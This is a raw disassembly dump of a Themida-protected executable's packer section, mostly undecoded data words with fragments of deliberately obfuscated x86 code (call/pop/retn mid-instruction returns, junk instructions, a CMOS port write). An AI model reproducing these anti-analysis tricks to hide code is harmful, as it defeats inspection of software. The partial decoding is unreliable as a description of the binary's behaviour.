		dd 7AAC1CF3h, 287E2486h, 0F7005E6Eh, 0DC51E6ABh, 0BCD9DF30h
		dd 363257B5h, 27A9FC8Ch, 7233BE5Fh, 0C1A46B36h,	287E357Dh
		dd 59114ECDh, 0EC40CD5Dh, 71B69561h, 0FB112DADh, 0D76832DFh
		dd 3BE7DCDBh, 78FC5F68h, 287E3686h, 0EB67156Eh,	0CDBBC36h
		dd 0C8BB46Ah, 28E72C6Ah, 0EBA3756Eh, 0B0CC4F04h, 2D15E574h
		dd 8E7E356Eh, 41F21D94h, 289F3A86h, 57AEED6Eh, 0A794244h
		dd 23ADC27Dh, 7395E342h, 719DC00Eh, 544DB0E3h, 28553378h
		dd 289CDD38h, 76EF356Eh, 5C6E6BADh, 6C72314Ah, 28E3314Ah
		dd 7EBA356Eh, 5CE79CADh, 2F19009Eh, 9E28F08h, 0F14EE591h
		dd 38DD65E1h, 3A7AB0E7h, 2893337Dh, 28FFDD39h, 775E356Eh
		dd 54B66AADh, 6C1E314Ah, 28D8314Ah, 7FA0356Eh, 0D99A24ADh
		dd 3B793A48h, 0C0FC356Eh, 287E3566h, 0FEFC5AB4h, 0CF732D07h
		dd 2D0EB408h, 0AD6A6FBCh, 2EE5F10Ah, 0C0AE3504h, 28FC356Dh
		dd 77BD6A4Eh, 2C1B49E7h, 2CBB71EFh, 28CF3578h, 43246229h
		dd 0A9957D0Fh, 0A105339Fh, 3BEB40F3h, 21966568h, 0A53F356Eh
		dd 0D54783CAh, 10F193A2h, 7686553Ch, 0CF7BC30h,	0C0AF3504h
		dd 28FC356Dh, 76BD6B4Eh, 2C1B41E7h, 2CBB71EFh, 28CF3573h
		dd 0F9246328h, 0D01192AEh, 0ABDAD9BAh, 0C569CAE3h, 2778267Fh
		dd 283F3CE2h, 2B163A6Eh, 27CF356Eh, 0F06CC6D1h,	23A680E7h
		dd 0A570337Dh, 2EEF17DFh, 0EC26B0E3h, 0A3593378h, 7ACFA5BDh
		dd 86297ED0h, 0A3D63A2Fh, 78AB6FBDh, 28FCBE61h,	7446356Eh
		dd 0B86451AAh, 0C0683504h, 289F356Dh, 770C6A4Eh, 2CC349E7h
		dd 2CD771EFh, 28F93577h, 223F6229h, 54B77A55h, 27856583h
		dd 0A1E22AE5h, 28A51172h, 28E4DD3Ch, 72D3356Eh,	7C706FADh
		dd 6C7D314Ah, 286B314Ah, 7A7D356Eh, 0A14423ADh,	3BECC4EBh
		dd 3D72CA68h, 27F5267Dh, 0AD70C5D9h, 2EEF147Fh,	0C02D3504h
		dd 283F356Dh, 735C6E4Eh, 2CEB69E7h, 2CC371EFh, 28F33575h
		dd 263A662Dh, 0D4535028h, 27BEBDA4h, 283F33E2h,	910ABE6Eh
		dd 0EFC9267Dh, 3BEC14EBh, 28F33A68h, 7EF95F6Eh,	28FC3686h
		dd 0EB20156Eh, 0C4BBC30h, 0CDBB46Ah, 28CF2D6Ah,	0EBB1736Eh
		dd 8EBE63F2h, 0E174BE33h, 4EFA2675h, 0D75E2ED0h, 3B1E24FBh
		dd 7F9F5F68h, 28CF3686h, 0EBB8156Eh, 0C8FBC31h,	0CBDB46Ah
		dd 28FC2E6Ah, 0EB29726Eh, 7556E031h, 336D73FBh,	133EACD1h
		dd 4962BC0Fh, 27F5265Ch, 28F933EFh, 0A36B46Eh, 0A349F55Ch
		dd 3B1368EBh, 0D302B868h, 0A1C923B9h, 956A342Dh, 2EE03917h
		dd 0FF2C80E3h, 1B453378h, 0DB7E356Eh, 900CDECAh, 289F356Eh
		dd 2BBBF565h, 0A3E72DACh, 7BFF112Ah, 28F93586h,	0EB7D6E6Eh
		dd 287E3579h, 381B69E7h, 3CBB71E7h, 0D2F88D35h,	0C81835DFh
		dd 2CD771E5h, 2893D591h, 28FFDD3Eh, 705E356Eh, 6CB66DADh
		dd 6C1E314Ah, 28D5314Ah, 78A7356Eh, 91DA04ADh, 0D65A3616h
		dd 271542D8h, 0BB7E356Eh, 21C8C143h, 0AF6AE46Ch, 0DC24BA3h
		dd 4286D275h, 2B1B636Eh, 8F9356Eh, 0A1A2F630h, 0A97A111Ah
		dd 3E3B112Ah, 6E9F356Eh, 2729F638h, 705AB8DCh, 0A5F523AAh
		dd 3E214EE3h, 83C98D68h, 0AD4DAD48h, 2E2C211Bh,	0E548FA45h
		dd 7D37F2A0h, 4E87233h,	6DC0AB35h, 4E287E35h, 0E777FC6Ah
		dd 0EF2CBB49h, 5E98371h, 0D98BA4F3h, 95BF6660h,	858B5781h
		dd 6133531h, 5BE9615Eh,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 9E2EC355h
		dd 182AE61Bh, 0FCEECDF7h, 0CE9h, 63D40D00h, 43CF3740h
		dd 0D949A581h, 0BE961ADh, 0C0000000h, 4A3D0352h, 9F4B78B1h
		dd 0E9C35218h, 0Eh, 5C92AA93h, 0F2B8E199h, 0E64707EDh
		dd 0C08BA45Eh, 25BD83F8h, 61316h, 0BD830975h, 6132C81h
		dd 50197400h, 0B8C08B53h, 4B9h,	31158589h, 9D8D0613h, 615A9E4h
		dd 585BD3FFh, 2C81BD83h, 74000613h, 0B8535017h,	4B9h, 31158589h
		dd 9D8D0613h, 615A685h,	585BD3FFh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 20C35545h, 0A870Fh,	5E90000h
		dd 0AA000000h, 3EAF7771h, 0AE9FCh, 13580000h, 195FC125h
		dd 0CE2C63A0h, 6AC08Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 235E9FC3h, 0E99E5735h, 12h, 0C2FFB29Ah
		dd 33EEA76Ch, 69E33EFh,	5B1DAE6Eh, 40F87BC4h, 0D8BEC18Bh
		dd 0EB5D52EBh, 4, 0C1858900h, 8D06131Eh, 131EA985h, 19D8906h
		dd 90061315h, 5E8h, 65ED1800h, 505E5DC4h, 8F78BE52h, 905F07CEh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0A3C35040h
		dd 0F103E622h, 318D01B8h, 8B06130Fh, 131ABDB5h,	6A006A06h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0CE52C352h, 0A59968E5h, 8D89006Ah, 61309A1h
		dd 0DB86858Dh, 83FC0616h, 6A05C0h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 67F2BAC3h, 0D9117BBCh
		dd 509039E5h, 5E8h, 109C6200h, 75BF0BA4h, 5F77A217h, 57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0E45AFFFAh, 0BF28ACh, 0E850Fh, 29600000h, 13256D9Dh
		dd 0DDB58B06h, 61061325h, 21B58Bh, 6A0613h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 60C35545h, 891E5DE8h
		dd 132B998Dh, 0B006A06h, 130F91BDh, 10E906h, 27F80000h
		dd 1B71863Dh, 0DD39B753h, 1F48A7B6h, 95FF8D2Eh,	61307F1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 71C35646h
		dd 0BD2B2C85h, 613207Dh, 0A36A9D8Dh, 7DBF0616h,	0FF4A3F03h
		dd 57006AD3h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0E48F91F7h, 0BCADC83h, 132B91BDh, 0D985FF06h
		dd 66061316h, 0DE9BC781h, 889E9h, 0E800h, 815D0000h, 16DB90EDh
		dd 399D0106h, 81061301h, 130B21BDh, 7D006h, 0C7860F00h
		dd 6A000001h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 76B4C356h, 0EEF36281h,	63E2A867h
		dd 14619D8Bh, 6A0613h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 6414A3C3h, 8127A904h, 100E3h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 9D899564h
		dd 6131F0Dh, 0BF78B66h,	9B850FDBh, 8B000000h, 0D7BD83FBh
		dd 616D9h, 2D840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 82975AC3h, 0A3867FADh
		dd 8CE9h, 0E18D2900h, 0C7061322h, 16D9D785h, 106h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0E9FE304Ah, 8, 0A5A62526h, 0B04C5968h, 4CE9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 9FC65BA7h, 0D6612EDh, 85C7781Dh, 616D9D7h, 0
; ---------------------------------------------------------------------------
		call	sub_5B9FB2
		test	[ecx+7], ebx
		mov	bl, 84h
		clc
		push	ss
		mov	dh, bl
		jbe	short loc_5B9FF2
		sbb	eax, 37A8C223h
		daa

; =============== S U B	R O U T	I N E =======================================



sub_5B9FB2	proc near		; CODE XREF: Themida_:005B9F9Cp
		mov	esi, [ebp+6131D75h]
		pop	edi
		lea	ebx, [ebp+6131461h]
		push	0
		push	ebx
		call	sub_5B9FCA
		and	[ebx-3Dh], bl
sub_5B9FB2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B9FCA	proc near		; CODE XREF: sub_5B9FB2+10p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5B9FCA	endp

; ---------------------------------------------------------------------------
		dw 0E29Ah
		dd 0A3B76D2Dh, 8D099452h, 6132A35h, 0FEFF2381h,	6AFFFFh
		db 55h,	0E8h
; ---------------------------------------------------------------------------


loc_5B9FF2:				; CODE XREF: Themida_:005B9FAAj
		add	eax, [eax]
; ---------------------------------------------------------------------------
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0AB7B0EC3h, 4D421C55h, 0E8608A5Ah, 0Ch, 9B6072F2h, 0D812B786h
		dd 0EBA5BB19h, 6E8h, 5A50E100h,	5FA6B43Fh, 0C98D8B5Ah
		dd 61061319h, 21BD29h, 8C660613h, 53006ADBh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0E9C51083h
		dd 14h,	0EBC6CF1h, 858DA7E1h, 57BC6330h, 4003671Fh, 91D65B17h
		dd 0F04C3F6h, 8684h, 89858900h,	0FF06130Eh, 13211195h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0B5AEF67Dh, 61BD8B46h, 8106131Eh, 0D5D6CF7h
		dd 13E9900Ah, 0DC000000h, 0F6012497h, 0AA3454DAh, 0F935E52Dh
		dd 30AFE915h, 0F509C6Dh, 8Fh, 6A9000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0CE910C3h
		dd 0CF000000h, 0AE4B8D3h, 1912FE3Ah, 0E91F055Dh, 4BFh
		dd 15800Fh, 10E90000h, 6000000h, 0CD819B71h, 6B8D8548h
		dd 9F52448Eh, 0B0C25299h, 13E900h, 9CC50000h, 0FC907BDDh
		dd 0C3BD48D5h, 96B0301Ch, 0FCC79F60h, 6A70E622h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0A98AC353h, 8B0D017Dh, 6A71E4FAh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 89EEC355h
		dd 132175BDh, 0D8B60F06h, 8E0Fh, 8E90000h, 0DC000000h
		dd 3901F18Ah, 0BA05FE37h, 6, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 4FC35747h, 0BD336AFCh, 6131F3Dh
		dd 0E1BD8B60h, 89061318h, 1301B1BDh, 0C38B6106h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A7C35747h, 6A04E8C1h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 129AC352h, 8BE2F766h, 131EADB5h, 47F7BF06h
		dd 0D82B2818h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	0F4C35545h, 0ABA2F1ADh,	93FB3832h, 6964BE50h, 6A935C52h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0DB9CC353h, 1D2D126Ah, 5D26DB58h,	8BF88B66h
		dd 132CF5BDh, 21B5FF06h, 6A06130Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0C84DC352h
		dd 0A170A254h, 0F99E188h, 9D89F9BFh, 6131305h, 0DA995FFh
		dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 686234C3h, 0DA06027Ch, 0B0F818C4h, 0D9BD3300h
		dd 0E6061331h, 55006A70h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 7D8966D6h, 0F724121h
		dd 8D0FF6B7h, 6, 16218501h, 71E40613h, 830F613Ch, 2ABh
		dd 0B60FF98Bh, 51006AD8h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 0A1DB29D3h, 0AD9D4901h
		dd 2DB50300h, 0BA061332h, 6, 8B665F50h,	0E8C38BF9h, 8
		dd 0F83DB9D4h, 838359B9h, 11458529h, 0C15F0613h, 6A04E8h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 145223C3h, 660A3795h, 6AE2F7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 60D441C3h, 0DD852957h
		dd 5F06132Bh, 0DE9h, 50AF8900h,	1C1D0938h, 6F4F318Ah, 0E9618CAEh
		dd 7, 0E9A6911Ch, 2BF8C69Ah, 56006AD8h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 1EAE518Fh
		dd 29BD8BC5h, 5806131Bh, 6E8h, 1F07F500h, 2BE656D7h, 132091B5h
		dd 0D82B5E06h, 1AD880Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0B58BE4C3h, 6131FE9h
		dd 31A1B58Bh, 95890613h, 6132C1Dh, 7B9h, 0C8B0F00h, 0F000000h
		dd 684h, 61B52900h, 8306130Dh, 6A00C1h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0E50420C3h
		dd 768D1E66h, 0D93B3068h, 139860Fh, 8A0F0000h, 6, 10559589h
		dd 8C660613h, 61FC60D9h, 0F04C1F6h, 0F984h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0E91CD69Ch, 6, 57412C6Ch, 95FF91CAh,	6132111h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 50C35343h, 196DC746h
		dd 5BF18B46h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ah,	0AEC35040h, 0C8144765h,	0C32B8395h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0FBC35545h, 91865DE0h
		dd 89ED8568h, 132539BDh, 8343D06h, 860F0000h, 4Eh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 63C35646h, 2CAD3158h
		dd 4D64CB70h, 4AE9h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 5E013A5h, 1D09BD8Bh, 0C08B0613h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0D3C35343h
		dd 7AABAA42h, 8B11B28Ch, 0F8D88BC3h, 85C7F18Bh,	61316A1h
		dd 17FC935Fh, 1575BD8Bh, 0C08B0613h, 0A09BDF81h, 0BD814A74h
		dd 6130B21h, 7D0h, 29850Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 770B77C3h
		dd 0FF31FA99h, 130B2185h, 0FFF78B06h, 130B21B5h, 0D9952906h
		dd 89061306h, 132A15B5h, 0A995FF06h, 6A06130Dh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 52E9C353h, 0D1D78072h, 78B89070h, 6A123456h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 62A8C351h, 9EBB5C54h, 12619D89h, 8D890613h, 6130EADh
		dd 0E3949D8Dh, 0BAE90616h, 6AFFFFF7h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 7AC6C352h
		dd 65442799h, 6672B3F5h, 0A1ACF781h, 39958960h,	0F06131Dh
		dd 0C87h, 0E1950900h, 106132Bh,	13064DBDh, 0C18B6106h
		dd 0EBFBB70Fh, 4, 0FB8B6600h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0F1C35141h,	8398B409h, 8B0F7870h
		dd 6, 2471B589h, 81660613h, 8DABF9C6h, 131EA985h, 0FEBF0F06h
		dd 52505090h, 10E85250h, 94000000h, 0A47C0A5Eh,	7C932BC7h
		dd 5D78039Fh, 5E50E32Eh, 585A310Fh, 8B66310Fh, 90585AF8h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F5C35545h
		dd 0A2ED6F24h, 95896F8Fh, 6132D29h, 0BD8B006Ah,	61322C5h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 5AE358C3h, 9CB096C0h, 34858DDEh, 6A0616E6h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0D527C356h, 0C3406FC1h, 0D9BD89F1h, 83061313h
		dd 6A05C0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 66AA71C3h
		dd 539743BFh, 0CE9h, 651C4600h,	1688801Dh, 87E0C55Ah, 0E9905E8Eh
		dd 9, 0C9A72D4Ch, 0ACDBAE84h, 60605051h, 310F5250h, 13E9585Ah
		dd 68000000h, 14AAA518h, 2257E9EDh, 2695BD52h, 8A5701E7h
		dd 6161557Ah, 89006A90h, 131E7995h, 6A006A06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0CB10C357h, 0B58BB944h, 6131465h, 7F195FFh, 6A0613h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0DAD2CBC3h, 9D8D0468h, 616A36Ah, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 59C35242h, 82FE842h, 0D3F78166h
		dd 6AD3FFC3h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0EC5BC355h, 2E12E538h,	0A05B509h
		dd 85FF0613h, 61316D9h,	0DE9h, 0F89CCA00h, 8BB4727Eh, 55CB5FE3h
		dd 0BEE9C1BCh, 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 616E63Eh
		jle	loc_5BA918
		mov	di, dx


loc_5BA918:				; CODE XREF: Themida_:005BA90Fj
		cmp	dword ptr [ebp+6130B21h], 7D0h
		jbe	loc_5BAA94
		push	esi
		movsx	esi, di
		pop	edi
		push	edx
		sub	[ebp+61304CDh],	edi
		pop	edi
		mov	ebx, [ebp+61309CDh]
		push	0
		push	ecx
		call	sub_5BA946
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA946	proc near		; CODE XREF: Themida_:005BA93Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5BA946	endp

; ---------------------------------------------------------------------------
		dw 0D19Dh
		dd 26BEFFFEh, 100E381h,	0BD8B0000h, 61325DDh, 850FDB0Bh
		dd 0C8h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 16h,	0D4C35141h, 0BD8BC026h,	6132A75h, 0E41BBD83h, 0F000616h
		dd 3C84h, 55BD8B00h, 0E9061331h, 0A3h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 1CC35646h, 0FE9E0h,	4530000h
		dd 47413C6Eh, 0E68D0EF0h, 173DBE64h, 1B85C72Eh,	10616E4h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0E400C355h, 6B0A9712h,	89E45B7Dh
		dd 1330759Dh, 39E906h, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 27EC3h, 858FB8F4h, 0E41B85C7h
		dd 616h, 60500000h, 23D19D89h, 0BF0F0613h, 8D5E61C1h, 1309CD9Dh
		dd 9D896006h, 61321DDh,	61CB8B66h, 0FEFF2381h, 6AFFFFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 27F3F1C3h, 6E952h, 1B260000h, 2E741FEEh, 0F3B70F5Eh
; ---------------------------------------------------------------------------


loc_5BAA94:				; CODE XREF: Themida_:005BA922j
		mov	bx, ds
		mov	[ebp+613214Dh],	esi
		test	bl, 4
		jz	loc_5BAAB6
		call	dword ptr [ebp+6132111h]
		cld
		push	eax
		mov	si, ax
		mov	[esp], eax
		mov	esi, ecx


loc_5BAAB6:				; CODE XREF: Themida_:005BAAA0j
		jmp	loc_5BAF41
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5BAAC6
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BAAC6	proc near		; CODE XREF: Themida_:005BAABEp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5BAAC6	endp

; ---------------------------------------------------------------------------
		adc	[edx+40A9F794h], ah
		cmp	eax, 85899C79h
		cmp	ds:0B00613h, esi
		jmp	loc_5BAAF5
; ---------------------------------------------------------------------------
		dd 11E256BBh, 8955782h
; ---------------------------------------------------------------------------
		inc	edx


loc_5BAAF5:				; CODE XREF: Themida_:005BAAE7j
		out	70h, al		; CMOS Memory:
					; used by real-time clock
		push	0
		push	esi
		call	sub_5BAB02
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BAB02	proc near		; CODE XREF: Themida_:005BAAFAp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5BAB02	endp

; ---------------------------------------------------------------------------
		dw 72B8h
		dd 85CDEC3Eh, 71E48A70h, 31B58BFCh, 0F061312h, 6AD8B6h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 8B0B3BC3h, 94626808h, 14E9h,	0BE09AB00h, 0EE917488h
		dd 45236EF5h, 0A9CA9F6Dh, 2785BABDh, 6BA20h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 7EF4AEC3h, 458D0156h, 0F06130Ah, 685h, 399D8900h, 8B061301h
		dd 0DCBF66C3h, 0CE974h,	82040000h, 7462880Ch, 0A82DFF03h
		dd 0E8C18E88h, 53006A04h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 6E95641h, 0D1000000h
		dd 0E6F0EF1Ah, 0E2F76621h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 0B7C35646h, 4DB230CEh, 0D362A14Ah, 0D82BFA8Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 24C35141h
		dd 13E95693h, 19000000h, 5004EDB1h, 5AB5EA67h, 0D28146A2h
		dd 4BE24048h, 505E8419h, 57006A93h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 424CA399h, 61CAC71Dh
		dd 0B5FFFC79h, 6130B21h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 19h, 9EC35040h, 3F8876Ah, 0D1B50923h, 0FF061325h
		dd 130DA995h, 598D0106h, 0B0061313h, 75BD8B00h,	0E6061315h
		dd 56006A70h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 2FCA75Ah, 5B46BE86h, 71E446EDh, 85B58B57h
		dd 5E06131Dh, 830F613Ch, 265h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 19C35242h, 37430549h, 0E68166F5h
		dd 0B60FA8D0h, 0FA8B66D8h, 6BAh, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 9B372C1Ah
		dd 0E9C38B1Fh, 0Dh, 0E537A687h,	92F890F7h, 0A02DE7B2h
		dd 4E8C137h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0EBC35141h, 0CF33CE18h,	8B5D2E6Fh, 1323C1BDh, 0E2F76606h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 22C35747h
		dd 6D55822Fh, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0DF359BC3h, 0A1B023Bh, 6A58F937h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 74D2C356h, 64B98D33h, 0B58B4B4Bh,	61314D1h
		dd 880FD82Bh, 159h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 0A6C35646h, 0C36A72ACh, 393AD7E3h, 7B9F5h
		dd 0DE810000h, 61F6440Eh, 0C183F5h, 0FD93BF9h, 11C86h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0E860F99Ch, 0Ch,	0D876BD4Dh, 0B39153BDh
		dd 718327EEh, 22999589h, 615B0613h, 66D98C66h, 0C1F6FA8Bh
		dd 0B7840F04h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 452DC356h, 0E9993A37h
		dd 12h,	0FD7C39E4h, 0D722BA08h,	0DB33EC3h, 3AEA2A08h, 0B58BE6DEh
		dd 6130DB5h, 211195FFh,	7E90613h, 29000000h, 330D7494h
		dd 0F5B8AB4h, 688h, 74DF8100h, 2B315428h, 50006AC3h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 3C260829h, 0F18D09D9h, 3D061324h, 834h, 28860Fh, 42E90000h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 6014C351h, 4AB866F5h, 0C08B6175h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 69C35747h
; ---------------------------------------------------------------------------
		popa


loc_5BAF41:				; CODE XREF: Themida_:loc_5BAAB6j
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	eax
		call	sub_5BAF50
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BAF50	proc near		; CODE XREF: Themida_:005BAF48p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5BAF50	endp

; ---------------------------------------------------------------------------
		dd 2146C2C9h, 146185C7h, 0D7310613h, 0C08B3A3Eh, 860Fh
		dd 0BD810000h, 6130B21h, 7D0h, 53850Fh,	6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 232120C3h, 131B0DB5h, 2185FF06h, 6A06130Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 406CC351h, 0D9A8E426h, 71E5617Eh, 0A8A11BEh,	21B5FF11h
		dd 8906130Bh, 13235DB5h, 0A995FF06h, 6A06130Dh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0F668C357h, 8160D8E3h, 0FAFFB24h, 0BF0FF9B7h, 8B4090FFh
		dd 131055B5h, 0A5BD8306h, 61320h, 0CE840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0C33FBFC3h, 7E966h, 7E050000h, 57657EF5h, 0C1BD830Eh
		dd 61322h, 96840Fh, 5E80000h, 0BA000000h, 0E034FA1Ah, 2085BD89h
		dd 665E0613h, 2CA6E781h, 20A595FFh, 8B660613h, 7DB589F3h
		dd 0B061330h, 69840FC0h, 89000000h, 1328C1BDh, 8D8D8D06h
		dd 6A06134Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 5DB1C353h, 9E9h, 62DDCD00h, 6B0EE677h
		dd 5B83CD1h, 8B000000h,	131969B5h, 6AE1FF06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 2983C353h, 0BD0B6D2Bh, 6133205h, 1179BD83h, 0F000613h
		dd 59784h, 0CF816000h, 46FC12D7h, 0FF63F181h, 83612F98h
